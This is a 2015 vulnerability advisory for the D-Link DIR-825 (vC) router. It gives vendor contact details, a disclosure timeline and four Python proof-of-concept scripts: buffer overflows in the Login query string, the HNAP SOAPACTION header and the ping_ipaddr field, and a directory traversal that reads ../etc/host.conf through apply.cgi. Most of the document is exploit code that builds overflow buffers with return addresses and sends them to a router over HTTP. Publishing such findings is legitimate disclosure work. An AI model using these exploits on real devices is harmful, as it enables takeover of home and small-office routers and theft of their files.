D-Link DIR-825 Buffer Overflow / Directory Traversal

`## Advisory Information  
  
Title: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal   
  
issue exists which can be exploited  
Vendors contacted: William Brown <[email protected]>, Patrick Cline [email protected](Dlink)  
CVE: None  
  
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed   
  
issues as per the email communication. The vendor had also released the information on their security advisory   
  
pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,   
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061  
  
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly   
  
accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing   
  
this finding is not responsible for anyone using this information for malicious purposes.   
  
## Product Description  
  
DIR-825 (vC) -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices.  
  
## Vulnerabilities Summary  
  
Have come across 4 security issues in DIR-825 firmware which allows an attacker to exploit buffer overflows in   
  
authentication, HNAP and Ping functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited   
  
by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack   
  
directly or using XSRF if not exposed. The ping functionality based buffer overflow and directory traversal would   
  
require an attacker to be on network and use XSRF to exploit buffer overflow whereas would require some sort of   
  
authentication as low privileged user atleast to exploit directory traversal.  
  
## Details  
  
Buffer overflow in auth   
------------------------------------------------------------------------------------------------------------------  
  
----  
import socket  
import struct  
  
  
'''  
287 + XXXX in query_string value, right now only working with Exit address as sleep address has bad chars which   
  
disallows from using regular shellcode directly  
'''  
  
buf = "GET /dws/api/Login?test="  
buf+="B"*251  
buf+="CCCC" #s0  
buf+="FFFF" #s1  
buf+="FFFF" #s2  
buf+="FFFF" #s3  
buf+="XXXX" #s4  
buf+="HHHH" #s5  
buf+="IIII" #s6  
buf+="JJJJ" #s7  
buf+="LLLL"  
buf+="\x2a\xbc\x8c\xa0" # retn address  
buf+="C"*24 #  
buf+="sh;;"   
buf+="K"*20  
buf+="\x2a\xc0\xd2\xa0" #s1  
buf+="\x2a\xc0\xd2\xa0" #s1  
buf  
  
+="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC  
  
CCCCCCCCCCCCCCCCC"  
buf+="&password=A HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml  
  
+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"  
  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("10.0.0.90", 80))  
s.send(buf)  
soc=s.recv(2048)  
print soc  
------------------------------------------------------------------------------------------------------------------  
  
----  
  
  
Buffer overflow in HNAP  
------------------------------------------------------------------------------------------------------------------  
  
----  
import socket  
import struct  
  
  
'''  
4138 + XXXX in SoapAction value, right now only working with Exit address as sleep address has bad chars which   
  
disallows from using regular shellcode directly  
'''  
  
buf = "POST /HNAP1/ HTTP/1.1\r\n"  
buf+= "Host: 10.0.0.90\r\n"  
buf+="SOAPACTION:http://purenetworks.com/HNAP1/GetDeviceSettings/"+"A"*4138+"\x2a\xbc\x8c\xa0"+"D"*834+"\r\n"  
buf+="Proxy-Connection: keep-alive\r\n"  
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"  
buf+"Cache-Control: max-age=0\r\n"  
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"  
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143   
  
Safari/537.36\r\n"  
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"  
buf+="Accept-Language: en-US,en;q=0.8\r\n"  
buf+="Cookie: uid:1111;\r\n"  
buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n"  
  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("10.0.0.90", 80))  
s.send(buf)  
soc=s.recv(2048)  
print soc  
------------------------------------------------------------------------------------------------------------------  
  
----  
  
Directory traversal   
------------------------------------------------------------------------------------------------------------------  
  
----  
import socket  
import struct  
  
  
'''  
Useful to do directory traversal attack which is possible in html_response_page variable below which prints the   
  
conf file, but theoretically any file, most likely only after login accessible  
'''  
payload="html_response_page=../etc/host.conf&action=do_graph_auth&login_name=test&login_pass=test1&login_n=test2&l  
  
og_pass=test3&graph_code=63778&session_id=test5&test=test"  
buf = "POST /apply.cgi HTTP/1.1\r\n"  
buf+= "Host: 10.0.0.90\r\n"  
buf+="Proxy-Connection: keep-alive\r\n"  
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"  
buf+"Cache-Control: max-age=0\r\n"  
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"  
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143   
  
Safari/537.36\r\n"  
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"  
buf+="Accept-Language: en-US,en;q=0.8\r\n"  
buf+="Cookie: session_id=test5;\r\n"  
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"  
buf+=payload+"\r\n\r\n"  
  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("10.0.0.90", 80))  
s.send(buf)  
soc=s.recv(2048)  
print soc  
------------------------------------------------------------------------------------------------------------------  
  
----  
  
  
Buffer overflow in ping   
------------------------------------------------------------------------------------------------------------------  
  
----  
import socket  
import struct  
  
  
'''  
282 + XXXX in ping_ipaddr value, right now only working with Exit address as sleep address has bad chars which   
  
disallows from using regular shellcode directly  
'''  
payload="html_response_page=tools_vct.asp&action=ping_test&html_response_return_page=tools_vct.asp&ping=ping&ping_  
  
ipaddr=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB  
  
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB  
  
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"+"\x2a\xbc\x8c\xa0"+"CCXXXXDDDDEEEE&test=test"  
buf = "POST /ping_response.cgi HTTP/1.1\r\n"  
buf+= "Host: 10.0.0.90\r\n"  
buf+="Proxy-Connection: keep-alive\r\n"  
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"  
buf+"Cache-Control: max-age=0\r\n"  
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"  
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143   
  
Safari/537.36\r\n"  
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"  
buf+="Accept-Language: en-US,en;q=0.8\r\n"  
buf+="Cookie: session_id=test5;\r\n"  
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"  
buf+=payload+"\r\n\r\n"  
  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("10.0.0.90", 80))  
s.send(buf)  
soc=s.recv(2048)  
print soc  
  
------------------------------------------------------------------------------------------------------------------  
  
----  
  
## Report Timeline  
  
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.  
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor  
* Nov 13, 2015: A public advisory is sent to security mailing lists.  
  
## Credit  
  
This vulnerability was found by Samuel Huntley ([email protected]).  
`